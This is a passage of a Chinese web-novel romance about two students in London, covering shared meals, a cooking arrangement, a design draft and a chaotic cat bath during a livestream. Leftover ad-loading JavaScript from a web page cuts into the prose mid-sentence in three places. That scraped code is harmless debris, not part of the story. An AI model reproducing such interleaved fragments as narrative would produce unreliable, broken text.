“有点热。”祝渝抬手在颊边扇了扇风,有一种欲盖弥彰的意味。 “那……吃饭吧,一会儿面坨了。”柏沉说话的声音打了一下颤,他说完将系得有些紧地围裙松了一些。 在听到“吃饭”两个字眼后,祝渝立马就将所有的事抛之脑后了。 管他呢。 事已至此,先吃饭吧! “好!”祝渝小跑到了餐桌边,很自然地坐到了桌对面。 柏沉跟在身后,也坐到了椅子上。 “那我吃饭啦?”祝渝拿起了筷子,还知道问一下主人家。 “吃吧。”柏沉点着头,给祝渝倒了一杯凉水,放在了他的右手边。 祝渝真的很不客气地开始夹面往嘴里送,软绵的面条吸满了汤汁,葱油的香味立马在口腔里面窜开,紧接着就是西红柿的酸味,鸡蛋的味道反而没那么重了,面条很有劲道,几种味道在嘴里交融,味蕾被彻底满足了。 就是有点烫。 本来煮好了的面条又在祝渝嘴里“炒”了一遍。 祝渝很不意外地被烫出了生理的泪水,他泪眼汪汪地端起手边的凉水就往肚子里灌。 柏沉笑得没声,忍不住劝:“慢慢吃,厨房还剩着。” 祝渝捂脸,太丢人了。 “怎么了?”见祝渝不把手拿开也不说话,柏沉就关心问。 祝渝语气绝望:“我先缓缓,有点丢人。” 头顶那簇屹立的呆毛也耷拉了下来。 柏沉唇角仍旧翘着,“没关系,不丢人。” 他重新将祝渝喝完的水补上了。 “好!”祝渝学乖了,他夹起一束面吹凉了才往嘴里喂。 祝渝埋着头吃面,没有发出一点声音,面碗里的热气浮上来,祝渝整个人都被白色的雾裹住了。 他额角和脖子上吃出了薄汗,唇色也被热面烫得泛红,水润润的。 “师哥,你真的好会做饭啊。”祝渝咽完了嘴里的东西后才接着说:“遇见你以后,我感觉我每天都是幸运的。” “怎么说?”柏沉好奇问。 祝渝把嘴里的面咽下去了才回话:“我找到了一个兼职,然后还认识了一些新朋友,还有上个月写的报告也得了高分……” “总之很多吧!”只是这会儿功夫,祝渝碗里的面已经快见底了。 柏沉凝着目光,静静看着祝渝吃饭的动作,和普通人吃饭没什么区别,一定要说的话,就是吃得比较快,可即便这样,他的吃相一点也不狼狈,甚至很赏心悦目。 平稳跳动的心脏开始加速,柏沉能清晰感受到心跳和平日里的不同,那种莫名其妙的满足感又窜了上来。 他薄唇张了张,迟疑了一下才问出话:“好吃吗?” 祝渝面还在往嘴里送,但左手已经抬起来了,他对柏沉竖起大拇指,点头应和:“超级好吃!!” “师哥,我要永远永远追随你!”祝渝抬起了头,两只眼泛着光,薄汗将他额角的浅发黏在了脸上,唇角还有汤渍。 很漂亮。 也很耀眼。 眼睛亮晶晶的。 他诚恳又真挚的眼神措不及防地和柏沉对视上,祝渝愣了一下,他发现柏沉似乎在用一种期许的眼神看着他。 只是祝渝还没看得清楚,对方就瞥开了眼,祝渝只当是自己的错觉,没往心里去,继续埋着头干饭了。 看见祝渝的碗已经要空了,柏沉才抬睫看着祝渝问:“还要吗?厨房还有。” “要的!”祝渝急忙把碗里剩下的汤喝干净,双手将空碗送了出去。 柏沉去厨房将锅里剩下的面都挑进了碗里。 回头看向祝渝,他却不在餐桌前了。 “祝渝,好了。”他走到餐桌边唤祝渝。 祝渝在沙发边应声:“我马上就过来!” 柏沉看见祝渝在他带来的包里翻找着什么,不过几秒,祝渝从包里拿出了一副被卷起来了的画纸。 “这个!”祝渝将滑下去的背带裤肩带拉上来,跑到了餐桌边。 然后摊开了手里的画给柏沉看,“我想把这个送给你。” 这是他今天出去写生的时候画的。 因为是速涂,所以细节没有处理得很好,但属于斯格英宫的特点却一点也不少。 这幅画也是彩色的。 和柏沉这个家里的色调格格不入。 “你自己画的吗?”柏沉问,他声音有些暗哑。 祝渝点头,把画重新卷了起来,塞进了柏沉手里才道:“因为你帮助了我很多次,还让我蹭了你好多次饭……” “我觉得,送那个杯子是不够的,可是我现在又没有钱,不能给你买……”祝渝想说自己现在不能给柏沉买比较有价值或者比较拿得出手的礼物。 但柏沉很适时地出声打断了他的话,“足够了。” “你送的这些礼物都很好,我很喜欢。”柏沉把手里的画收到了一边,声线一如既往地温柔。 “真的吗?你会不会觉得,我没有很重视我们之间这段友谊啊?”祝渝双臂搭在餐桌上,抬眼看着柏沉,模样很乖,有点像听课的小学生,等着柏老师说话。 柏沉目光停注在祝渝脸上,神色也格外的柔和,唇角噙着浅笑,颊边的梨涡像漾开的涟漪,“今天怎么了?总觉得你话里有话呢?” 祝渝愕了一下,眨眨眼,迟疑:“有这么……明显?” “嗯,很明显。”柏沉很认真地点头。 “好吧。”祝渝把手拿到了桌下,手指搅弄着,“其实是有一个小小的请求。” “我的厨艺你也见识过了,其实我真的已经很努力了,但……总是失败。” 祝渝长长地叹了一口气,而后鼓起勇气:“我就想,以后可不可以我负责买我们两人的菜,你做饭的时候顺手做一份我的啊?” “也不用经常!偶尔就可以了!”祝渝后面急忙跟上这句话。 “求求你了,师哥——”祝渝拉长了尾音,他把手抬起来,双手抱成拳,做出了“恭喜发财”的手势,在桌上晃了晃,露出了祈求的表情。 星星眼jpg。 “我不会白吃白喝的!我能洗碗,刘波能卖萌,我还能……”祝渝尽力在脑子里搜刮着自己和刘波能为柏沉做的事。 太可爱了。 柏沉觉得用可爱形容男生其实并不恰当,但如果是祝渝的话就再合适不过了。 看着祝渝因为纠结和紧张而紧皱的眉头,他没忍住笑了起来。 柏沉笑得眉眼都弯成了月牙状,祝渝不知道柏沉为什么笑,可是他看见柏沉笑得那么开心,也忍不住跟着笑了起来。 餐桌前的两人都笑得有些忘我了。 好一会儿后柏沉才慢慢收敛笑意。 “可以的。”柏沉点头,先答应了祝渝的“小小”请求,而后才问:“所以纠结你一整晚的事情就是这件事吗?” “欸?!你怎么看出来我纠结了一晚上啊?”祝渝眼里闪过意外,好奇追问。 “秘密。”柏沉只说了两个字。 其实根本就没有什么玄机,只是祝渝的眼睛藏不住心事,晚上见祝渝第一面的时候,柏沉就看出祝渝应该是在为什么事纠结着。 “神神秘秘。”祝渝轻哼一声后拿起筷子,像在家时的那样,习惯性地要戳面碗,但是看着食欲满满的面,他没忍心戳下去。 “不过!师哥刚刚是答应我了吧?”祝渝又抬头看着柏沉问。 “嗯,答应你了。” “其实你不需要做什么的。” “因为之前你送了我礼物,我们就已经是朋友了。” “对我来说,如果是朋友的话……”柏沉一向阴郁的眸珠莫名有了点光亮,“就可以。” 最后三个 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 字他咬得有些重,祝渝耳朵动了动。 他听得很开心,“那就说好啦?” “如果我想吃你做的饭,我就给你发消息,然后买菜到你家,好不好?”祝渝说。 柏沉颔首,“没问题。” 祝渝眼睛发光,又问:“你什么都会做吗?” 柏沉迟疑了一下,犹豫着说:“应…该?” “其实你做什么我都可以的,我不挑食,很好养活的!”祝渝对自己的胃可自信了,他什么都能吃下去,除了白人饭…… “好!这位不挑食,好养活的……”说起来,柏沉还不知道怎么称呼祝渝,他觉得祝渝很像小朋友,但这样叫对方似乎并不是一件礼貌的事情。 祝渝见他纠结,忙补充:“小渝!” “我朋友都这样叫我的。” 柏沉在脑子里过了一下这两个字,便道:“好,这位不挑食,很好养活的小鱼同学,快吃面吧,都坨了。” “啊!我的面!!”像是才注意到,柏沉面前的人发出了尖叫。 …… 吃完饭祝渝又自告奋勇和柏沉一起洗碗。 他照旧是干擦碗的活。 两人都有一句没一句闲聊着。 “对了祝渝。”柏沉想起了一件事。 “怎么了?”祝渝打了一个哈欠问。 吃饱了就困,祝渝严重怀疑自己晕碳。 柏沉说:“我在网络上有一个美食教学账号。” “我可能会不定时拍摄教学视频在网络上,而且周五晚上会开直播……你介意吗?”柏沉观察着祝渝的脸色问。 祝渝擦碗的手一顿,不是吧?就这样毫无防备地和他说啦? 他倒是想直接和柏沉说,我已经知道你的马甲啦! 不过—— “我可以问问你的ID嘛……”祝渝装作震惊的模样,演技拙劣但有用。 柏沉没想隐瞒,因为祝渝迟早会发现这件事,倒不如自己先和对方说了。 他将手上的水渍在围裙上擦干净,从口袋里拿出手机翻了翻,翻出了自己的账号给祝渝看。 “柏,泽。”祝渝一字一顿念了出来,而后抬睫看着柏沉的脸,“好!我回去就关注你!” 柏沉轻咳一声,其实就这样被身边人念出自己在网络上的身份,还挺难为情的…… …… 和祝渝洗完碗,祝渝又将自己送给柏沉的那幅画裱起来挂在了显眼的位置,导致一开门就能看见画。 祝渝说是为了让柏沉看见画就记起他。 柏沉就说不看见画也能记得祝渝。 但还是默许了祝渝将画挂在了进门就能看见的墙上。 然后两人都盘腿坐在茶几前消食。 刘波是吃了饭才出门的,它没有太闹腾,只是它非要往柏沉怀里钻,祝渝抱都抱不走。 “没关系,我抱着吧。”柏沉挠了挠刘波的下巴。 “刘波还真是,明明之前韩金珠要抱它,它都不愿意,现在却偏要往你怀里钻。”祝渝说完又气哼了一声。 他去揪刘波的颊边毛,逐字逐句道:“见,色,忘,友。” 柏沉笑得有些无奈,他反问:“什么叫见色忘友啊?” 祝渝理直气壮:“你长得帅啊。” “虽然我长得也不差吧,但可能是因为你会做饭,所以它才更喜欢黏着你。”祝渝单只手趴在茶几上,侧着头贴在小臂上,他的眼里好像也有笑意一般,如星子璨亮。 他逗弄着柏沉怀里的刘波。 柏沉凝着祝渝露出来的右耳,上面的耳钻泛着矅黑色的冷光。 良久,他才慢慢收回目光,将茶几下的设计图拿了出来。 他询问祝渝:“不介意吧?” 祝渝晃了晃脑袋,然后支起上半身靠近了柏沉,两人挨得很近,山茶和槐花的香味交织在了一起,柏沉有些恍惚,祝渝却浑然不觉。 他看着柏沉手里的建筑设计稿,拧着漂亮的眉,说:“这份设计稿……” “上次,我来你家拿油的时候见过。” “是,教授让我为他的别墅周围画一份造景设计稿。”柏沉点头。 祝渝恍悟,慢慢点头,又看着柏沉问:“那你有头绪吗?” 柏沉语气很缓:“不知道。” “你不满意现在这份设计稿吗?”祝渝困惑。 “你觉得已经可以了吗?”柏沉问。 祝渝眨眨眼,手撑在地面又往柏沉身边移了一点距离,他们挨得更近了,“要我说吗?” “嗯。” “我觉得有一点奇怪……”祝渝抬起手,拇指和食指比划出了一小段距离。 “我说不出哪里奇怪,只是看着有些违和。” 他捧着自己的脸,直勾勾地看着柏沉,“不过我也不是你这个专业。” “你就随便听听好了。” 15.砰砰 柏沉脸色郑重,他摇头:“你的意见也很重要。” “我知道这份设计稿并不合格,我时间……”他后面又接了一句含糊的话,但因为太含糊了,所以祝渝也没听到他说了什么。 “Vera教授要退休了,我想在他退休之前,把这份设计稿送给他。” 祝渝心底有很多疑问,可他还是很识趣地选择了不多嘴。 他觉得柏沉每一次提起自己的事情时,柏沉总是不开心的,他眼里像是藏着很多秘密,祝渝看不透,也不擅长去看透。 他想要柏沉自己说,可这应该不太可能。 柏沉开始改设计稿了。 祝渝就乖乖趴在桌面,张着圆眼打量柏沉。 那是一张近乎完美的脸,从眉眼到鼻梁,再到唇形,流畅又有型,睫羽密长像蝴蝶的翅膀,轻轻地颤着。 柏沉无疑是温柔的,但他身上又有一种冷冽的气质,祝渝觉得这种冷冽是因为他长此以往地孤独着。 他们认识的这些天,聊过很多天,也谈及过很多次过去,但只是祝渝如此,柏沉从来不谈过往,也不说自己的朋友…… 柏沉紧皱着眉心,注意力全在被他自己压在手下的那张设计稿上面。 两人都沉默着,祝渝虽然反射弧比一般人长很多,但他也知道自己说的那些话意味着什么。 他这个非建筑专业的外行人都能看出有问题,就意味着柏沉的这份设计稿或许很失败。 师哥,究竟是什么困住了你呢? 祝渝带着欣赏地打量着柏沉青筋分明的大手,随着时间的流逝,他抬起手捂嘴打了一个哈欠。 顺手将桌上一张空白的画纸拿了过来,又从柏沉的笔筒里面拿出了一支削好的铅笔。 也开始埋着头画了起来。 两人都很安静,连对方怀里的刘波都罕见地没有闹腾人。 约莫过去了十五分钟。 祝渝将画纸推到了柏沉手边,柏沉的手一顿,循着看过去。 “师哥,不要总皱眉呀。”祝渝缓缓掀唇说。 画纸中是柏沉刚刚作画时的素描图,动作五官画得一模一样,要说有不同的地方…… 柏沉目光凝在画纸中自己的眉间,那是舒展开的眉眼,要更柔和一些。 他听见祝渝说:“皱眉会赶走好运的。” 嗡嗡嗡,有些耳鸣。 砰砰。 砰砰砰。 静水潭中落下了一片叶,荡开了一圈圈的涟漪。 —— 又过了几天,柏沉约见了Mayra和Vera两位教授,祝渝也跟着去了。 祝渝问自己能帮助柏沉什么,或者怎么样才能帮到柏沉,两位教授在看过了柏沉修改得并不完美的设计稿后,却没有给出明确的提示。 他们只让两人继续接触着,时间久了,柏沉会知道怎么做的。 这下不止祝渝,就连柏沉都是听得云里雾里的。 他们某些西方人讲究环境影响个人,如果柏沉的身边有祝渝这样感染力极强的人,那柏沉或许也会跟着改变。 可惜他们两位并不知道。 送走了教授,二人并着肩往公寓走了去。 眼下国内正是中秋节,伦敦却是阴雨天。 小雨淅淅沥沥,临近傍晚才停歇。 街道湿哒哒的。 空气中浮着腐叶和泥土的味道。 没那么好闻,但也不算难闻。 祝渝穿得有些厚,他小时候身体不好,长大了又是怕冷体质,现在柏沉穿着风衣,祝渝却已经穿羊毛大衣了。 他的脸被冷风吹得红扑扑的,和柏沉说两句话就打一个哈欠,眼角挤出生理泪水,整个人看上去困呼呼的。 “昨晚没睡好吗?”柏沉递给了祝渝一支薄荷口香糖。 祝渝接过口香糖,剥开糖纸把糖塞进了嘴里。 薄荷的清凉感从口腔钻进了肺里,祝渝昏沉的脑子清醒了大半,他缓了缓才回答柏沉的问题:“昨晚喝了茶,凌晨四点都还在数羊……” “在我家喝的茶吗?”昨晚祝渝在柏沉家里吃晚饭,但柏沉记得祝渝应该是没怎么喝他泡的茶。 祝渝摇头,神情恹恹:“不是,你昨晚不是都不让我多喝嘛?” “是我新认识的一个中国朋友,他家是卖茶的,哈——”祝渝眼角挤出泪水,打了一个哈欠,柏沉注意到他舌尖的舌钉换了一个款式。 颜色要比之前那对深一些,泛着蓝色鱼鳞般的光,形状是骨头款式的。 小狗……含着骨头。 柏沉想到这里后瞳仁猛然收缩,瞳色加深,连呼吸都短促了一分。 急忙别开了眼。 祝渝浑然不觉,他慢悠悠解释:“之前我帮了他一些忙,他非要送茶感谢我。” “我想着他也是一片好心,就收下了,昨晚准备睡觉的时候,他问我尝尝他的茶,给点反馈,我就喝了一大杯。” “结果,就一宿没睡着呗。”祝渝无奈摊开手,他本来就白,觉没睡够的黑眼圈很显眼。 连发色都变得灰蒙蒙了。 柏沉凝着他粉色的发璇看了一会儿,收神说:“他家里卖茶不知道晚上喝太多茶可能会失眠吗?” “为什么还劝你喝?” 祝渝压根没多想:“不知道。” 他摆头,粉色松软的跟着摆动,像在把身上水渍抖出去的萨摩耶。 “可能…迫切想要我给个评价吧。”祝渝思忖后说,然后又哀嚎一声:“我本来想回去睡觉的,可是又有点饿。” 柏沉看着他:“今天国内是中秋节。” “我买了面粉做月饼。” “还买了玉米和排骨。” “你回去休息一下,晚点来吃饭吗?” 伦敦当然不过中秋节,但在伦敦的中国人会给自己过中秋节。 祝渝似乎就在等柏沉最后一句话了,柏沉刚说完话就是他点头“嗯”的声音。 “吃的吃的,但你昨晚应该和我商量呀,不是说好了我买菜吗?”听语气,祝渝还有丝丝的埋怨。 柏沉解释:“因为是临时决定的。” “下次一定。” 祝渝被柏沉的这句话逗乐了,他想说看起来那么正经的柏师哥居然也有不正经的时候,但他又觉得,柏沉可能真的是认真说的。 总之祝渝没扯别的,只点点头说:“好吧。” “师哥,上次我们店里搞活动,你说你有事来不了,那下周二你应该有时间吧?” “你来找我,我想请你吃蛋糕,还想把你介绍给Chloe姐他们认识。” “你是我最好的朋友了。”之前邀请柏沉那次,柏沉因为突然有项目报告要写,就没有去。 为此祝渝伤心了好久。 因为他把最漂亮的小蛋糕留给了柏沉。 结果柏沉给他发消息说来不了。 气得祝渝一个人把蛋糕吃完了。 但他吃完就不生气了。 可能是因为蛋糕带来了好心情,也可能是因为祝渝觉得自己不能生柏沉的气。 柏沉回忆了一下那天的课表,他下午没课,但他每周二下午要去找一个人,在那边不知道会耽搁多少时间。 没办法给出确切的承诺,于是柏沉道:“我会尽量在你下班前处理完我的事。” “好吧。”祝渝又打了一个哈欠。 到家后祝渝本来是想去帮助柏沉的,但今天是周五,柏沉要开直播,祝渝肯定是不能出现在镜头里去帮忙的。 祝渝开门的时候和柏沉说:“以后周五我都不来你家,等你直播结束了我再过来吧。” “为什么?”柏沉有些不理解。 祝渝就转身仰头看着他解释:“因为你在直播呀,要是不小心让你的粉丝知道你家有别人,她们误会了的话,你就会掉粉的。” “误会什么?”柏沉大概是真的不理解,他眼里全是困惑。 祝渝两手比划着:“误会我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是你的恋人,或者关系亲密的人呀?!” 说完话,他的耳朵和脸都有些红扑扑的。 不过走廊的灯没有很明亮,加上柏沉颀长的身高挡住了祝渝身上的光,所以他没看得出来。 柏沉明白了,原来祝渝是这个考量。 “谢谢你为我考虑这么多。”柏沉声音比较低缓,“但是我没有立什么单身人设,我只是一个美食教学博主。” “那倒也是。”祝渝从开始看柏沉直播起,就从来没听过柏沉谈及自己的私事,他话少得可怜,和弹幕也几乎零互动,只有问到关于做饭的问题才会回弹幕。 “那……你过来吗?”柏沉语气莫名有些试探和小心翼翼。 祝渝两手插在腰间,颇有些理直气壮:“当然呀!” “等我给刘波洗个澡就过来!”祝渝说着话的功夫也打开了门,话音刚落,灰扑扑的刘波就叫着冲了出来,祝渝完全还没反应过来,就被冲出来的刘波撞得原地打了一个转。 柏沉手快地扶住了祝渝的胳膊。 “刘波!”祝渝气得快炸毛了,头上的呆毛跟着晃。 他低着头找猫,猫叫的声音却从头顶传来。 祝渝抬起头,和柏沉怀里的猫对视上了。 “快下来!你已经一周没洗澡了。”他真怕刘波从柏沉身上离开后,柏沉白卫衣上出现了梅花印。 祝渝说完就去提溜刘波的后颈,刘波却死死抓着柏沉的衣裳不肯松爪。 柏沉笑得无奈,“没关系,你去把宠物沐浴露拿来吧,在我家洗也可以。” “那怎么行啊?会把你浴室弄脏的。”祝渝摇着头还要去扒拉柏沉怀里的刘波。 柏沉温柔道:“没关系的,我打扫干净就好了。” “喵。”刘波也叫了一声,似在应和柏沉。 见刘波实在没有松爪的打算,祝渝还是垂首妥协了。 “好吧。”祝渝叹气。 柏沉笑着,眉眼弯起,“那我先抱它进去。” 祝渝还是觉得生气,他对着刘波打空气拳,“刘波,气死我了,我要把你送去流浪!” 他气呼呼地回到了家里,把宠物沐浴露和宠物烘干机都拿了过来,还带上了一件刘波的睡衣。 到柏沉家里后,刘波已经从柏沉身上下来了,他坐在沙发上,正拿着猫条在逗刘波。 “嗯?师哥,你还买了猫条呀?”祝渝将手里的东西放在了桌上。 柏沉解释:“楼下有很多流浪猫,我偶尔会去喂养。” 祝渝忽然想起了他经常喂养的那只流浪猫,那次去找它,它已经被喂过了。 他心中隐隐有些猜测,但没有说出来。 他上前去将地上的刘波捞了起来,问话:“你什么时候开直播?” 柏沉抬手看了一下手腕上手表的时间,“应该……十分钟。” “十分钟啊?刘波它皮厚毛多,十分钟应该洗不完。”祝渝想了想,又说:“你去开直播吧,咱们卫生间挺隔音的,把门关起来就好了,刘波洗澡的时候很安静,不会吵你的。” “你一个人可以吗?”柏沉一向是重诺的人,答应粉丝一周一次的直播,他当然不会随便找理由推迟或者停播的。 祝渝望着他,“当然呀!” “我不是第一次给刘波洗澡了。”祝渝比了一个“OK”的手势。 “好。”柏沉稍微安心了一些。 他帮祝渝调好了水温,说:“我今晚直播内容是做月饼,不会用很长时间的,你给刘波洗完可以出来,没关系的。” 祝渝嗯了一声,催促着:“你快去吧!粉丝都等不及了。” 他说这话其实有带入自己,因为他每周五都会准点蹲柏沉直播。 柏沉说好,他站在门边回头看了一眼正在给刘波脱衣服的祝渝,而后抿起了唇角,轻轻将门带上了。 祝渝一口气把刘波身上的衣服全部扒了下来,顺手拍了一下刘波的肥屁股,低声骂:“我都懒得说你。” 16.意外 试了试水温,祝渝开始给刘波搓澡。 刘波长得胖,毛也多,祝渝给他洗澡就像搓衣服一样,是一个巨大的工程,不过一会儿就累得气喘吁吁。 祝渝身上全是刘波溅的水,因为卫生间关了起来,在封闭的空间内,祝渝的皮肤很快被热水蒸得泛粉,就连身上的细小绒毛都沾上了水雾,整个人看上去湿哒哒的。 “你怎么不能自己洗澡呢?”祝渝将手边的矮凳拖过来,一屁股就坐了上去。 刘波叫了一声:“喵。” 屋外隐隐传来了柏沉的声音,直播应该是开始了。 说实话祝渝还挺想看的,他打算快速解决手头的事,然后偷偷进直播间去看看。 好在刘波在洗澡的时候基本不闹腾,一直到祝渝拿吹风机给他吹毛也没出什么意外。 吹风机是静音的,卫生间里没那么大的动静。 刚把刘波的毛吹得半干,口袋里的手机就响了起来。 祝渝关掉吹风机,拿起手机一看,是祝霆打来的微信电话。 他本来不打算接的,偏巧发尖一滴水掉落在了接听键。 于是下一秒,手机界面就出现了祝霆那张万年冰山脸。 “祝渝。”祝霆出声喊他。 接都接了,再挂断就没那个必要了。 “干嘛?”祝渝垂着眉睫,一只手拿着手机,一只手给刘波打理被吹得乱糟糟的毛。 祝霆仔细打量着手机里的人,看背景他应该是在卫生间,额前碎发湿漉漉的,精神气看起来还行。 “在干什么?”祝霆问话。 祝渝:“给猫洗澡呢。” “最近怎么样?”祝霆缓缓点头,又接着问。 卫生间外面就是柏沉在直播,所以祝渝刻意压低了声音:“托你的福,那个工作非常适合我,我目前应该是饿不死了。” 即便声音被压得那么低,但祝霆还是听出了他的阴阳怪气。 “你不在宿舍?”祝霆并不甚在意,他这个弟弟脾气自来如此。 但他和祝渝不愧是从一个肚子里出来的,仅凭着亲弟弟的神情和状态,祝霆都能猜得大差不差。 “我就在自己宿舍。”祝渝嘴硬,担心祝霆看出更多细节,他干脆将手机倒扣在了腿上。 祝霆看破并不说破,“伦敦那边天气怎么样?” “还行。” “学业怎么样?” “也还行。” 祝渝也是问一句答一句。 “对了。”祝渝突然拿起手机,把镜头面向了自己。 “怎么了?”祝霆问。 祝渝:“看看龙傲天。” 他看见祝霆犹豫了一下,随后手机里才传出祝霆空灵的声音,“狗。” “狗。”他面无表情地喊了两声。 声音莫名有种诡异感。 祝渝瞬间生气了,他黑着脸:“你神经病啊,它有名字,它叫龙傲天!” 祝霆绷着脸:“我叫不出口。” 也不知道祝渝到底是看了什么小说还是电视剧,或者真的是天生的起名废,家里养的小宠物名字都奇奇怪怪的。 家里那只鹦鹉叫翠翠,乌龟叫富贵,其实这些都还好,主要是这只金毛犬叫龙傲天,祝霆实在是叫不出口。 听见祝霆这样说,祝渝气得又要炸毛了,不过下一秒他就不生气了,因为镜头里出现了一只很可爱的金毛犬。 金毛犬尾巴摇得像陀螺,一双水汪汪的大眼睛放着兴奋的光,清澈又明亮,舌头伸得老长,哈着热气,它一看见祝霆手机里的祝渝就开始汪汪地叫。 兴奋得要命。 “龙傲天,我不在家,他们有没有欺负你呀?”祝渝声音都夹了起来。 龙傲天浑身毛发浓密又漂亮,金灿灿的。 它听见祝渝的声音就忍不住原地打转,然后冲镜头吠了几声,满眼欣喜。 “喵呜——”脚边原本安安静静的刘波突然发出了一声低叫。 祝渝:? 手机里又传出龙傲天的叫声,“汪汪汪!” “喵喵喵!”刘波回应。 还搁这儿隔着手机物种交流起来了? “刘波,你叫小声点。”祝渝把手机音量调到最低。 压着声音去提醒刘波。 手机里龙傲天还在叫,脚边刘波也跟着叫。 动静已经大到压不住了,看情况应该是交流失败,现在吵起来了。 祝渝急忙去抱刘波,“嘘!你不要让他们听到你的声音了!” 随后他把挂断电话了。 祝霆看着黑了屏的手机界面,陷入了沉思…… ‘他们?’ 祝渝躲在卫生间,祝渝说话声音刻意藏着掖着,祝渝说外面有人…… 祝渝他??!! 他忙给国外的人发了消息过去:【查一下祝渝身边的所有人】 【祝霆:重点是有恋人的人】 …… 一溜烟功夫间,刘波已经跑到了门边,应该是龙傲天的叫声吓到了它,它现在发了疯似的抓挠浴室的门想要逃出去。 叫声特别地“惨烈”。 祝渝手忙脚乱地去追刘波,花洒开关也不小心被他碰到,于是脚边的花洒头就像一条四处乱窜的蛇,天花板下了“热雨”,祝渝被浇成了粉色的落汤鸡。 因为担心打搅到外面柏沉的直播,祝渝根本来不及去关掉花洒,只能先把刘波抱进怀里安抚。 “别怕别怕。”祝渝的声音从来没有这么温柔过。 刘波还在流浪的时候被流浪狗欺负过,或许是应激了,祝渝知道怎么安抚它。 “龙傲天是好狗呀,它之前救过好多猫猫的。” 为了不让身后的水淋到刘波,跪在地上的祝渝是弓着腰的,他轻轻抚摸着它的脑袋。 “哐。”浴室的门被打开了。 月饼的酥香味和玉米排骨汤的味道飘进了浴室,和宠物沐浴露的香味混合在了一起。 “发生了什么事吗?”柏沉身上系着围裙,是他们初见时的那件蓝色的,门一打开,失了控的花洒也把水浇到了他身上。 祝渝急忙一只手摁住花洒头,让水往浴缸的位置冲了去。 然后他压低声音解释:“刚刚我哥给我打电话,家里的狗叫让它应激了。” 祝渝整个人都是湿哒哒的,面色被热水蒸得潮红,水珠顺着祝渝的发尾滑下来,淌过他的眉毛,再到浓密的眼睫,下颌。 身上的衣裳也被打湿了,贴着肉,胸口起伏有些大,这是一具纤瘦的身材,腰间根本没什么肉,纤细又劲瘦,可看上去还是很色//情。 柏沉神色莫名地晦暗了一些,喉结也不受控地滚了滚。 “师哥,帮帮我。”祝渝看着他的眼睛湿漉漉的,声音也被热水蒸得黏黏糊糊的,看起来可怜坏了。 “好。”柏沉应了一声,嗓音莫名有些暗哑。 他上前去将花洒关掉了,花洒的水声终于消停了。 身后祝渝还在哄刘波,“没事了没事了。” 柏沉拿过一根干毛巾将刘波裹了起来,祝渝看着他问:“你直播结束了吗?” “刚结束。”柏沉说。 祝渝语气有些小心翼翼和担心:“我没搞砸你的直播吧?” 毕竟卫生间里的确有很大的动静,他不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 知道有没有对柏沉的直播造成影响。 柏沉摇头:“没有。” “先起来吧。”他又说,“你身上都打湿了,先回去把衣服换了,我来给刘波吹毛。” 柏沉刚说完话,祝渝就打了一个喷嚏。 刚刚卫生间的门紧闭着,里面的温度出不去,所以祝渝还没觉得冷,但门打开后,外面的凉意挤了进来,祝渝颈脖上都被冻起了一层鸡皮疙瘩。 柏沉顺手将手边的浴袍取下来盖在了祝渝身上。 然后又一只手将刘波抱了起来,刘波其实挺重的,毛发全部打湿后更是重得祝渝一只手都抱不了多久,可见柏沉的臂力有多足。 祝渝莫名感叹了一下。 柏沉另一只手又将祝渝扶了起来,只是还没稳住脚,祝渝突然嘶了一声。 “怎么了?”柏沉心头一跳,忙松开了手。 祝渝翻过手腕,小臂上不知道什么时候被受了惊吓的刘波抓伤了。 刘波和祝渝都打过疫苗了,倒是不用担心感染什么病毒和细菌,但鲜血混合了自来水,小臂红了一片,伤口看起来莫名的狰狞。 柏沉眉头瞬间皱了起来。 “我先给你处理伤口。”柏沉牵起祝渝没受伤的那只手手腕,将祝渝带出了卫生间。 祝渝看见厨房的直播设备都没来得及收起来。 所以柏沉应该是一下播就到卫生间来了。 “啊秋。”祝渝甩了甩脑袋,水渍飞溅。 “先把刘波吹干,它感冒了比较费钱。”祝渝将宠物吹风机拿到了手里。 柏沉顺手接过去,“等下我来吹。” “我先帮你把伤口包扎起来,很快就好。”柏沉声音很冷静,但祝渝莫名觉得他好像有些生气。 “好吧。”祝渝不再拒绝。 柏沉拿来药箱坐在了祝渝身边,祝渝身上湿透了,柏沉怕他着凉,特意把空调打开了,又找来了一件毛毯给他披上。 之前祝渝无意和他提过,说自己小时候身体不太好。 柏沉倒是一直记着这件事,祝渝自己却不怎么上心。 柏沉给他伤口包扎的时候,祝渝空出来的那只手就拿着干毛巾给怀里的刘波擦身子。 刘波这会儿已经安静下来了,猫科动物是不能忍受自己身上有水的,所以刘波舔自己的毛舔得舌头都快抽筋了。 “嘶。”祝渝手臂瑟缩了一下。 柏沉手一僵,抬眼看向祝渝,内疚问:“抱歉,弄疼你了吗?” 祝渝抿着唇笑:“师哥吹吹就不疼了。” 他把手臂抬了抬,伤口离柏沉的唇近了一些。 柏沉神情隐晦地看向了祝渝,祝渝抬了抬下巴,莫名有些理直气壮。 于是鬼使神差地,柏沉真的低下了头,对着祝渝的伤口轻轻吹起了风。 凉风扫过祝渝的伤口,祝渝心尖莫名酥酥痒痒的。 他没多想,心安理得地享受着柏沉这样的温柔。 “好了。”柏沉的动作又快又轻柔,祝渝翻过手腕看了看柏沉包扎的伤口,顺口夸道:“师哥,你技术真好。” 柏沉把他怀里的刘波抱了过去,“别贫了,你快回去把衣服换了。” “收到!”祝渝站起身,对他笑露了齿。 祝渝走后,柏沉单手抱着刘波走去了玄关,将吹风机通电,开始给刘波烘干。 这边到家的祝渝很快在衣柜里翻出了一套秋冬季睡衣。 毛绒的,有些厚实。 浅棕色的,胸口有一只白色萨摩耶小狗的图案。 祝渝匆匆忙忙给自己吹干了头发,对着浴室的镜子将自己的头发整理了一下才离开。 17.请教 祝渝到柏沉家的时候,刘波已经被吹干了,身上穿着祝渝拿来的那一件衣服,正在沙发边吃罐头,祝渝转身把门带上,上前去把它的毛揉得乱七八糟后才看向厨房。 柏沉现在在厨房忙着。 他看着柏沉的背影,那是一个很有安全感,又很高大的背影,宽厚又坚实。 头顶的吊灯快要碰到他的头了。 祝渝站起了身,脚步轻轻地靠近了柏沉。 